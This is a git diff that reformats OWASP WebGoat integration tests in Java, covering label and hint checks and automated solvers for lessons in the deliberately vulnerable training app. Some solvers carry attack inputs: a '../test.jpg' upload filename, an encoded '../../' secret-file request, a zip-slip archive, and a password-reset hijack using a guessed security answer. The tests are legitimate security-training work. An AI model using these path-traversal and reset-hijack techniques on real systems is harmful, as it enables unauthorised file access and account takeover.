|
||||||
.get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
|
.get(url("service/labels.mvc"))
|
||||||
|
.then()
|
||||||
|
.statusCode(200)
|
||||||
|
.extract()
|
||||||
|
.jsonPath();
|
||||||
|
|
||||||
Assertions.assertEquals("Try again: but this time enter a value before hitting go.", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"http-basics.close"+ESCAPE_JSON_PATH_CHAR));
|
Assertions.assertEquals(
|
||||||
|
"Try again: but this time enter a value before hitting go.",
|
||||||
|
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));
|
||||||
|
|
||||||
// check if lang parameter overrules Accept-Language parameter
|
// check if lang parameter overrules Accept-Language parameter
|
||||||
jsonPath = RestAssured.given()
|
jsonPath =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.contentType(ContentType.JSON)
|
.contentType(ContentType.JSON)
|
||||||
.header("Accept-Language", "en")
|
.header("Accept-Language", "en")
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("service/labels.mvc?lang=nl")).then().statusCode(200).extract().jsonPath();
|
.get(url("service/labels.mvc?lang=nl"))
|
||||||
Assertions.assertEquals("Gebruikersnaam", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
|
.then()
|
||||||
|
.statusCode(200)
|
||||||
|
.extract()
|
||||||
|
.jsonPath();
|
||||||
|
Assertions.assertEquals(
|
||||||
|
"Gebruikersnaam",
|
||||||
|
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
|
||||||
|
|
||||||
jsonPath = RestAssured.given()
|
jsonPath =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.contentType(ContentType.JSON)
|
.contentType(ContentType.JSON)
|
||||||
.header("Accept-Language", "en")
|
.header("Accept-Language", "en")
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("service/labels.mvc?lang=de")).then().statusCode(200).extract().jsonPath();
|
.get(url("service/labels.mvc?lang=de"))
|
||||||
Assertions.assertEquals("Benutzername", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
|
.then()
|
||||||
|
.statusCode(200)
|
||||||
|
.extract()
|
||||||
|
.jsonPath();
|
||||||
|
Assertions.assertEquals(
|
||||||
|
"Benutzername",
|
||||||
|
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
|
||||||
|
|
||||||
// check if invalid language returns english
|
// check if invalid language returns english
|
||||||
jsonPath = RestAssured.given()
|
jsonPath =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.contentType(ContentType.JSON)
|
.contentType(ContentType.JSON)
|
||||||
.header("Accept-Language", "nl")
|
.header("Accept-Language", "nl")
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("service/labels.mvc?lang=xx")).then().statusCode(200).extract().jsonPath();
|
.get(url("service/labels.mvc?lang=xx"))
|
||||||
Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
|
.then()
|
||||||
|
.statusCode(200)
|
||||||
|
.extract()
|
||||||
|
.jsonPath();
|
||||||
|
Assertions.assertEquals(
|
||||||
|
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
|
||||||
|
|
||||||
// check if invalid language returns english
|
// check if invalid language returns english
|
||||||
jsonPath = RestAssured.given()
|
jsonPath =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.contentType(ContentType.JSON)
|
.contentType(ContentType.JSON)
|
||||||
.header("Accept-Language", "xx_YY")
|
.header("Accept-Language", "xx_YY")
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
|
.get(url("service/labels.mvc"))
|
||||||
Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
|
.then()
|
||||||
|
.statusCode(200)
|
||||||
|
.extract()
|
||||||
|
.jsonPath();
|
||||||
|
Assertions.assertEquals(
|
||||||
|
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testHints() {
|
public void testHints() {
|
||||||
JsonPath jsonPathLabels = getLabels("en");
|
JsonPath jsonPathLabels = getLabels("en");
|
||||||
List<String> allLessons = List.of(
|
List<String> allLessons =
|
||||||
|
List.of(
|
||||||
"HttpBasics",
|
"HttpBasics",
|
||||||
"HttpProxies", "CIA", "InsecureLogin", "Cryptography", "PathTraversal",
|
"HttpProxies",
|
||||||
"XXE", "JWT", "IDOR", "SSRF", "WebWolfIntroduction", "CrossSiteScripting", "CSRF", "HijackSession",
|
"CIA",
|
||||||
"SqlInjection", "SqlInjectionMitigations" ,"SqlInjectionAdvanced",
|
"InsecureLogin",
|
||||||
|
"Cryptography",
|
||||||
|
"PathTraversal",
|
||||||
|
"XXE",
|
||||||
|
"JWT",
|
||||||
|
"IDOR",
|
||||||
|
"SSRF",
|
||||||
|
"WebWolfIntroduction",
|
||||||
|
"CrossSiteScripting",
|
||||||
|
"CSRF",
|
||||||
|
"HijackSession",
|
||||||
|
"SqlInjection",
|
||||||
|
"SqlInjectionMitigations",
|
||||||
|
"SqlInjectionAdvanced",
|
||||||
"Challenge1");
|
"Challenge1");
|
||||||
for (String lesson : allLessons) {
|
for (String lesson : allLessons) {
|
||||||
startLesson(lesson);
|
startLesson(lesson);
|
||||||
List<String> hintKeys = getHints();
|
List<String> hintKeys = getHints();
|
||||||
for (String key : hintKeys) {
|
for (String key : hintKeys) {
|
||||||
String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
|
String keyValue =
|
||||||
|
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
|
||||||
// System.out.println("key: " + key + " ,value: " + keyValue);
|
// System.out.println("key: " + key + " ,value: " + keyValue);
|
||||||
Assertions.assertNotNull(keyValue);
|
Assertions.assertNotNull(keyValue);
|
||||||
Assertions.assertNotEquals(key, keyValue);
|
Assertions.assertNotEquals(key, keyValue);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
//Assertions.assertEquals("http-basics.hints.http_basics_lesson.1", ""+jsonPath.getList("hint").get(0));
|
// Assertions.assertEquals("http-basics.hints.http_basics_lesson.1",
|
||||||
|
// ""+jsonPath.getList("hint").get(0));
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
@ -97,20 +144,25 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
|
|||||||
JsonPath jsonPathLabels = getLabels("en");
|
JsonPath jsonPathLabels = getLabels("en");
|
||||||
Properties propsDefault = getProperties("");
|
Properties propsDefault = getProperties("");
|
||||||
for (String key : propsDefault.stringPropertyNames()) {
|
for (String key : propsDefault.stringPropertyNames()) {
|
||||||
String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR);
|
String keyValue =
|
||||||
|
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
|
||||||
Assertions.assertNotNull(keyValue);
|
Assertions.assertNotNull(keyValue);
|
||||||
}
|
}
|
||||||
checkLang(propsDefault, "nl");
|
checkLang(propsDefault, "nl");
|
||||||
checkLang(propsDefault, "de");
|
checkLang(propsDefault, "de");
|
||||||
checkLang(propsDefault, "fr");
|
checkLang(propsDefault, "fr");
|
||||||
checkLang(propsDefault, "ru");
|
checkLang(propsDefault, "ru");
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private Properties getProperties(String lang) {
|
private Properties getProperties(String lang) {
|
||||||
Properties prop = null;
|
Properties prop = null;
|
||||||
if (lang == null || lang.equals("")) { lang = ""; } else { lang = "_"+lang; }
|
if (lang == null || lang.equals("")) {
|
||||||
try (InputStream input = new FileInputStream("src/main/resources/i18n/messages"+lang+".properties")) {
|
lang = "";
|
||||||
|
} else {
|
||||||
|
lang = "_" + lang;
|
||||||
|
}
|
||||||
|
try (InputStream input =
|
||||||
|
new FileInputStream("src/main/resources/i18n/messages" + lang + ".properties")) {
|
||||||
|
|
||||||
prop = new Properties();
|
prop = new Properties();
|
||||||
// load a properties file
|
// load a properties file
|
||||||
@ -130,9 +182,13 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
|
|||||||
System.err.println("key: " + key + " in (" + lang + ") is missing from default properties");
|
System.err.println("key: " + key + " in (" + lang + ") is missing from default properties");
|
||||||
Assertions.fail();
|
Assertions.fail();
|
||||||
}
|
}
|
||||||
if (!jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR).equals(propsLang.get(key))) {
|
if (!jsonPath
|
||||||
System.out.println("key: " + key + " in (" +lang+") has incorrect translation in label service");
|
.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR)
|
||||||
System.out.println("actual:"+jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR));
|
.equals(propsLang.get(key))) {
|
||||||
|
System.out.println(
|
||||||
|
"key: " + key + " in (" + lang + ") has incorrect translation in label service");
|
||||||
|
System.out.println(
|
||||||
|
"actual:" + jsonPath.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR));
|
||||||
System.out.println("expected: " + propsLang.getProperty(key));
|
System.out.println("expected: " + propsLang.getProperty(key));
|
||||||
System.out.println();
|
System.out.println();
|
||||||
Assertions.fail();
|
Assertions.fail();
|
||||||
@ -151,11 +207,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
|
|||||||
.get(url("service/labels.mvc"))
|
.get(url("service/labels.mvc"))
|
||||||
.then()
|
.then()
|
||||||
// .log().all()
|
// .log().all()
|
||||||
.statusCode(200).extract().jsonPath();
|
.statusCode(200)
|
||||||
|
.extract()
|
||||||
|
.jsonPath();
|
||||||
}
|
}
|
||||||
|
|
||||||
private List<String> getHints() {
|
private List<String> getHints() {
|
||||||
JsonPath jsonPath = RestAssured.given()
|
JsonPath jsonPath =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.contentType(ContentType.JSON)
|
.contentType(ContentType.JSON)
|
||||||
@ -163,8 +222,9 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
|
|||||||
.get(url("service/hint.mvc"))
|
.get(url("service/hint.mvc"))
|
||||||
.then()
|
.then()
|
||||||
// .log().all()
|
// .log().all()
|
||||||
.statusCode(200).extract().jsonPath();
|
.statusCode(200)
|
||||||
|
.extract()
|
||||||
|
.jsonPath();
|
||||||
return jsonPath.getList("hint");
|
return jsonPath.getList("hint");
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -1,8 +1,10 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
|
import io.restassured.RestAssured;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.Map;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.assertj.core.api.Assertions;
|
import org.assertj.core.api.Assertions;
|
||||||
import org.junit.jupiter.api.AfterEach;
|
import org.junit.jupiter.api.AfterEach;
|
||||||
@ -10,15 +12,9 @@ import org.junit.jupiter.api.BeforeEach;
|
|||||||
import org.junit.jupiter.api.DynamicTest;
|
import org.junit.jupiter.api.DynamicTest;
|
||||||
import org.junit.jupiter.api.TestFactory;
|
import org.junit.jupiter.api.TestFactory;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
|
||||||
|
|
||||||
import java.util.Arrays;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
public class PasswordResetLessonIntegrationTest extends IntegrationTest {
|
public class PasswordResetLessonIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
@BeforeEach
|
@BeforeEach
|
||||||
@SneakyThrows
|
|
||||||
public void init() {
|
public void init() {
|
||||||
startLesson("/PasswordReset");
|
startLesson("/PasswordReset");
|
||||||
}
|
}
|
||||||
@ -30,24 +26,42 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
|
|||||||
dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()),
|
dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()),
|
||||||
dynamicTest("assignment 2 - simple reset", () -> assignment2()),
|
dynamicTest("assignment 2 - simple reset", () -> assignment2()),
|
||||||
dynamicTest("assignment 4 - guess questions", () -> assignment4()),
|
dynamicTest("assignment 4 - guess questions", () -> assignment4()),
|
||||||
dynamicTest("assignment 5 - simple questions",()-> assignment5())
|
dynamicTest("assignment 5 - simple questions", () -> assignment5()));
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public void assignment2() {
|
public void assignment2() {
|
||||||
checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false);
|
checkAssignment(
|
||||||
checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true);
|
url("PasswordReset/simple-mail/reset"),
|
||||||
|
Map.of("emailReset", this.getUser() + "@webgoat.org"),
|
||||||
|
false);
|
||||||
|
checkAssignment(
|
||||||
|
url("PasswordReset/simple-mail"),
|
||||||
|
Map.of(
|
||||||
|
"email",
|
||||||
|
this.getUser() + "@webgoat.org",
|
||||||
|
"password",
|
||||||
|
StringUtils.reverse(this.getUser())),
|
||||||
|
true);
|
||||||
}
|
}
|
||||||
|
|
||||||
public void assignment4() {
|
public void assignment4() {
|
||||||
checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true);
|
checkAssignment(
|
||||||
|
url("PasswordReset/questions"),
|
||||||
|
Map.of("username", "tom", "securityQuestion", "purple"),
|
||||||
|
true);
|
||||||
}
|
}
|
||||||
|
|
||||||
public void assignment5() {
|
public void assignment5() {
|
||||||
checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false);
|
checkAssignment(
|
||||||
checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true);
|
url("PasswordReset/SecurityQuestions"),
|
||||||
|
Map.of("question", "What is your favorite animal?"),
|
||||||
|
false);
|
||||||
|
checkAssignment(
|
||||||
|
url("PasswordReset/SecurityQuestions"),
|
||||||
|
Map.of("question", "What is your favorite color?"),
|
||||||
|
true);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public void solveAssignment() {
|
public void solveAssignment() {
|
||||||
// WebGoat
|
// WebGoat
|
||||||
clickForgotEmailLink("tom@webgoat-cloud.org");
|
clickForgotEmailLink("tom@webgoat-cloud.org");
|
||||||
@ -57,26 +71,34 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
|
|||||||
|
|
||||||
// WebGoat
|
// WebGoat
|
||||||
changePassword(link);
|
changePassword(link);
|
||||||
checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true);
|
checkAssignment(
|
||||||
|
url("PasswordReset/reset/login"),
|
||||||
|
Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
|
||||||
|
true);
|
||||||
}
|
}
|
||||||
|
|
||||||
public void sendEmailShouldBeAvailableInWebWolf() {
|
public void sendEmailShouldBeAvailableInWebWolf() {
|
||||||
clickForgotEmailLink(this.getUser() + "@webgoat.org");
|
clickForgotEmailLink(this.getUser() + "@webgoat.org");
|
||||||
|
|
||||||
var responseBody = RestAssured.given()
|
var responseBody =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
.get(webWolfUrl("/WebWolf/mail"))
|
.get(webWolfUrl("/WebWolf/mail"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract()
|
||||||
|
.response()
|
||||||
|
.getBody()
|
||||||
|
.asString();
|
||||||
|
|
||||||
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
|
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterEach
|
@AfterEach
|
||||||
public void shutdown() {
|
public void shutdown() {
|
||||||
//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
|
// this will run only once after the list of dynamic tests has run, this is to test if the
|
||||||
|
// lesson is marked complete
|
||||||
checkResults("/PasswordReset");
|
checkResults("/PasswordReset");
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -92,15 +114,22 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private String getPasswordResetLinkFromLandingPage() {
|
private String getPasswordResetLinkFromLandingPage() {
|
||||||
var responseBody = RestAssured.given()
|
var responseBody =
|
||||||
|
RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||||
.get(webWolfUrl("/WebWolf/requests"))
|
.get(webWolfUrl("/WebWolf/requests"))
|
||||||
.then()
|
.then()
|
||||||
.extract().response().getBody().asString();
|
.extract()
|
||||||
|
.response()
|
||||||
|
.getBody()
|
||||||
|
.asString();
|
||||||
int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
|
int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
|
||||||
var link = responseBody.substring(startIndex + "/PasswordReset/reset/reset-password/".length(), responseBody.indexOf(",", startIndex) - 1);
|
var link =
|
||||||
|
responseBody.substring(
|
||||||
|
startIndex + "/PasswordReset/reset/reset-password/".length(),
|
||||||
|
responseBody.indexOf(",", startIndex) - 1);
|
||||||
return link;
|
return link;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -1,16 +1,8 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
import io.restassured.RestAssured;
|
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import org.hamcrest.CoreMatchers;
|
|
||||||
import org.hamcrest.MatcherAssert;
|
|
||||||
import org.junit.jupiter.api.AfterEach;
|
|
||||||
import org.junit.jupiter.api.BeforeEach;
|
|
||||||
import org.junit.jupiter.api.DynamicTest;
|
|
||||||
import org.junit.jupiter.api.TestFactory;
|
|
||||||
import org.junit.jupiter.api.io.TempDir;
|
|
||||||
import org.springframework.security.core.token.Sha512DigestUtils;
|
|
||||||
|
|
||||||
|
import io.restassured.RestAssured;
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
import java.io.FileOutputStream;
|
import java.io.FileOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
@ -21,13 +13,19 @@ import java.util.Arrays;
|
|||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.zip.ZipEntry;
|
import java.util.zip.ZipEntry;
|
||||||
import java.util.zip.ZipOutputStream;
|
import java.util.zip.ZipOutputStream;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
import org.hamcrest.CoreMatchers;
|
||||||
|
import org.hamcrest.MatcherAssert;
|
||||||
|
import org.junit.jupiter.api.AfterEach;
|
||||||
|
import org.junit.jupiter.api.BeforeEach;
|
||||||
|
import org.junit.jupiter.api.DynamicTest;
|
||||||
|
import org.junit.jupiter.api.TestFactory;
|
||||||
|
import org.junit.jupiter.api.io.TempDir;
|
||||||
|
import org.springframework.security.core.token.Sha512DigestUtils;
|
||||||
|
|
||||||
class PathTraversalIT extends IntegrationTest {
|
class PathTraversalIT extends IntegrationTest {
|
||||||
|
|
||||||
@TempDir
|
@TempDir Path tempDir;
|
||||||
Path tempDir;
|
|
||||||
|
|
||||||
private File fileToUpload = null;
|
private File fileToUpload = null;
|
||||||
|
|
||||||
@ -46,8 +44,7 @@ class PathTraversalIT extends IntegrationTest {
|
|||||||
dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
|
dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
|
||||||
dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
|
dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
|
||||||
dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
|
dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
|
||||||
dynamicTest("assignment 5 - zip slip", () -> assignment5())
|
dynamicTest("assignment 5 - zip slip", () -> assignment5()));
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void assignment1() throws IOException {
|
private void assignment1() throws IOException {
|
||||||
@ -61,7 +58,9 @@ class PathTraversalIT extends IntegrationTest {
|
|||||||
.post(url("/WebGoat/PathTraversal/profile-upload"))
|
.post(url("/WebGoat/PathTraversal/profile-upload"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
}
|
}
|
||||||
|
|
||||||
private void assignment2() throws IOException {
|
private void assignment2() throws IOException {
|
||||||
@ -75,7 +74,9 @@ class PathTraversalIT extends IntegrationTest {
|
|||||||
.post(url("/WebGoat/PathTraversal/profile-upload-fix"))
|
.post(url("/WebGoat/PathTraversal/profile-upload-fix"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
}
|
}
|
||||||
|
|
||||||
private void assignment3() throws IOException {
|
private void assignment3() throws IOException {
|
||||||
@ -84,16 +85,22 @@ class PathTraversalIT extends IntegrationTest {
|
|||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath()))
|
.multiPart(
|
||||||
|
"uploadedFileRemoveUserInput",
|
||||||
|
"../test.jpg",
|
||||||
|
Files.readAllBytes(fileToUpload.toPath()))
|
||||||
.post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
|
.post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
}
|
}
|
||||||
|
|
||||||
private void assignment4() throws IOException {
|
private void assignment4() throws IOException {
|
||||||
var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
|
var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
|
||||||
RestAssured.given().urlEncodingEnabled(false)
|
RestAssured.given()
|
||||||
|
.urlEncodingEnabled(false)
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
@ -102,13 +109,16 @@ class PathTraversalIT extends IntegrationTest {
|
|||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
|
.body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
|
||||||
|
|
||||||
checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret",
|
checkAssignment(
|
||||||
Sha512DigestUtils.shaHex(this.getUser())), true);
|
url("/WebGoat/PathTraversal/random"),
|
||||||
|
Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
|
||||||
|
true);
|
||||||
}
|
}
|
||||||
|
|
||||||
private void assignment5() throws IOException {
|
private void assignment5() throws IOException {
|
||||||
var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
|
var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
|
||||||
webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows
|
webGoatHome =
|
||||||
|
webGoatHome.replaceAll("^[a-zA-Z]:", ""); // Remove C: from the home directory on Windows
|
||||||
|
|
||||||
var webGoatDirectory = new File(webGoatHome);
|
var webGoatDirectory = new File(webGoatHome);
|
||||||
var zipFile = new File(tempDir.toFile(), "upload.zip");
|
var zipFile = new File(tempDir.toFile(), "upload.zip");
|
||||||
@ -126,12 +136,15 @@ class PathTraversalIT extends IntegrationTest {
|
|||||||
.post(url("/WebGoat/PathTraversal/zip-slip"))
|
.post(url("/WebGoat/PathTraversal/zip-slip"))
|
||||||
.then()
|
.then()
|
||||||
.statusCode(200)
|
.statusCode(200)
|
||||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
.extract()
|
||||||
|
.path("lessonCompleted"),
|
||||||
|
CoreMatchers.is(true));
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterEach
|
@AfterEach
|
||||||
void shutdown() {
|
void shutdown() {
|
||||||
//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
|
// this will run only once after the list of dynamic tests has run, this is to test if the
|
||||||
|
// lesson is marked complete
|
||||||
checkResults("/PathTraversal");
|
checkResults("/PathTraversal");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -2,10 +2,6 @@ package org.owasp.webgoat;
|
|||||||
|
|
||||||
import io.restassured.RestAssured;
|
import io.restassured.RestAssured;
|
||||||
import io.restassured.response.Response;
|
import io.restassured.response.Response;
|
||||||
|
|
||||||
import org.assertj.core.api.Assertions;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.concurrent.Callable;
|
import java.util.concurrent.Callable;
|
||||||
@ -14,6 +10,8 @@ import java.util.concurrent.ExecutorService;
|
|||||||
import java.util.concurrent.Executors;
|
import java.util.concurrent.Executors;
|
||||||
import java.util.stream.Collectors;
|
import java.util.stream.Collectors;
|
||||||
import java.util.stream.IntStream;
|
import java.util.stream.IntStream;
|
||||||
|
import org.assertj.core.api.Assertions;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
|
public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
|
||||||
|
|
||||||
@ -23,22 +21,26 @@ public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
|
|||||||
int NUMBER_OF_PARALLEL_THREADS = 5;
|
int NUMBER_OF_PARALLEL_THREADS = 5;
|
||||||
startLesson("Challenge1");
|
startLesson("Challenge1");
|
||||||
|
|
||||||
Callable<Response> call = () -> {
|
Callable<Response> call =
|
||||||
|
() -> {
|
||||||
// System.out.println("thread "+Thread.currentThread().getName());
|
// System.out.println("thread "+Thread.currentThread().getName());
|
||||||
return RestAssured.given()
|
return RestAssured.given()
|
||||||
.when()
|
.when()
|
||||||
.relaxedHTTPSValidation()
|
.relaxedHTTPSValidation()
|
||||||
.cookie("JSESSIONID", getWebGoatCookie())
|
.cookie("JSESSIONID", getWebGoatCookie())
|
||||||
.formParams(Map.of("flag", "test"))
|
.formParams(Map.of("flag", "test"))
|
||||||
.post(url("/challenge/flag/"));
|
.post(url("/challenge/flag"));
|
||||||
|
|
||||||
};
|
};
|
||||||
ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);
|
ExecutorService executorService = Executors.newFixedThreadPool(NUMBER_OF_PARALLEL_THREADS);
|
||||||
